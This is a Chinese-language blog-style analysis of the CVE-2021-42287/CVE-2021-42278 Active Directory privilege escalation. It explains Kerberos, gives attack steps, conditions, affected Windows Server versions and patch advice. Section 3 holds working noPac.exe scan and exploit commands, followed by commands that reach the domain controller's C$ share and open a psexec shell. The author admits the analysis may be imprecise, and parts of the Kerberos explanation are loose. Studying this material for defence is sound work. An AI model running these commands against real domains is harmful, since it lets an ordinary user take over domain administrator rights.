看到網上有人公開了 CVE-2021-42287/CVE-2021-42278 權限提升漏洞的 EXP,本着學習的目的找了相關資料去研究。
該提權漏洞可以將域內的普通用戶提升到域管權限,雖然需要一定條件,但危害還是很嚴重的。
由於當前對於這個漏洞的資料不是很系統和自己的理解不是很透徹,所以下文的分析不一定很準確。
1. 漏洞原理#
在了解該漏洞原理之前,需要先理解 Kerberos 協議的原理。
簡單的理解就是:
Kerberos 協議分為三步
認證步驟 | 認證過程 | 認證結果 |
---|---|---|
AS 認證 | ASREQ & ASREP | 獲得 TGT 認購權證 |
TGS 認證 | TGSREQ & TGSREP | 獲得 ST 服務票據 |
TGS 認證 | AP-REQ & AP-REP | 客戶端將與伺服器建立連接 |
認證流程圖如下:
CVE-2021-42278:
機器用戶的帳號形式是在帳號名後面加上
$
,因為 DC 沒有驗證機器用戶的帳號末尾是否有$
,所以機器用戶名被當作普通用戶來執行操作。CVE-2021-42287:
與普通用戶在獲取 TGT 時,通過另一個用戶去請求自己的 ST,然後將 TGT 發送給 KDC,因為 TGT 是用另一個用戶的信息來獲取的,所以 KDC 在數據庫中找不到與之匹配的用戶信息,然後 KDC 去尋找機器用戶的 ST,最後獲得了機器用戶的權限。
1.1 漏洞過程:#
- 利用域普通用戶新增機器帳號(域用戶默認可以新增機器帳號)
- 清除機器帳號 SPN,更改機器名為域控名,並去除末尾的 $
- 以新增的機器帳號向域控發起 Kerberos 請求認證獲取 TGT(票據授權票據,票據的票據)
- 刪除機器帳號,用獲取到 TGT 請求 ldap 管理員服務權限的 ST(Server Ticket)
- 域控解密 TGT 獲取 PAC(Privilege Attribute Certificate),發現請求的是 ldap 管理員服務權限,並用 ldap 伺服器管理員的 HASH 去加密 ST
- ldap 伺服器管理員用自身 HASH 解密出 PAC
- 通過 PAC 獲取請求用戶和被請求用戶的信息,判斷用戶是否有訪問服務的權限
- 這個判斷過程需要請求域控,域控首先去數據庫(活動目錄)搜索請求方的相關信息,因為去除了
$
,所以會被當作域用戶去搜索,當搜索不到信息時,會去搜索機器帳號信息,然後在末尾加上$
- 這個時候,域控得到的信息是:域控機器想去請求 ldap 管理員服務,通過請求,這樣只要請求域控就能獲取域控權限
1.2 漏洞條件:#
- 低權限域帳戶可以創建和修改機器帳戶
- 在 AP_REP 的時候 (而非 TGS_REP) 在搜索不到用戶的時候,去搜索機器用戶,並在之後添加了 $
- 域控允許委派攻擊
- DC 未打補丁 KB5008380 或 KB5008602
2. 影響版本#
CVE-2021-42278
○ Windows Server 2012 R2
○ Windows Server 2012 (Server Core installation)
○ Windows Server 2012
○ Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
○ Windows Server 2008 R2 for x64-based Systems Service Pack 1
○ Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
○ Windows Server 2008 for x64-based Systems Service Pack 2
○ Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
○ Windows Server 2008 for 32-bit Systems Service Pack 2
○ Windows Server 2016 (Server Core installation)
○ Windows Server 2016
○ Windows Server, version 20H2 (Server Core Installation)
○ Windows Server, version 2004 (Server Core installation)
○ Windows Server 2022 (Server Core installation)
○ Windows Server 2019 (Server Core installation)
○ Windows Server 2022
○ Windows Server 2019
○ Windows Server 2012 R2 (Server Core installation)
CVE-2021-42287
○ Windows Server 2012 R2 (Server Core installation)
○ Windows Server 2012 R2
○ Windows Server 2012 (Server Core installation)
○ Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
○ Windows Server 2012
○ Windows Server 2008 R2 for x64-based Systems Service Pack 1
○ Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
○ Windows Server 2008 for x64-based Systems Service Pack 2
○ Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
○ Windows Server 2008 for 32-bit Systems Service Pack 2
○ Windows Server 2016 (Server Core installation)
○ Windows Server 2016
○ Windows Server, version 20H2 (Server Core Installation)
○ Windows Server, version 2004 (Server Core installation)
○ Windows Server 2022 (Server Core installation)
○ Windows Server 2022
○ Windows Server 2019 (Server Core installation)
○ Windows Server 2019
3. 漏洞復現#
工具:
3.1 掃描探測#
noPac.exe scan -domain redteam.club -user xfeng -pass 123456
3.2 直接利用(noPac.exe)#
noPac.exe -domain redteam.club -user test -pass pass@123 /dc ad02.redteam.club /mAccount test123 /mPassword feng /service cifs /ptt
dir \\ad01.redteam.club\c$
psexec.exe \\ad01.redteam.club cmd.exe
4. 漏洞修復#
微軟已經發布了安全補丁,具體可以查看鏈接
檢查自己版本的 Windows 是否安裝了對應的安全補丁
5. 參考文章#
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing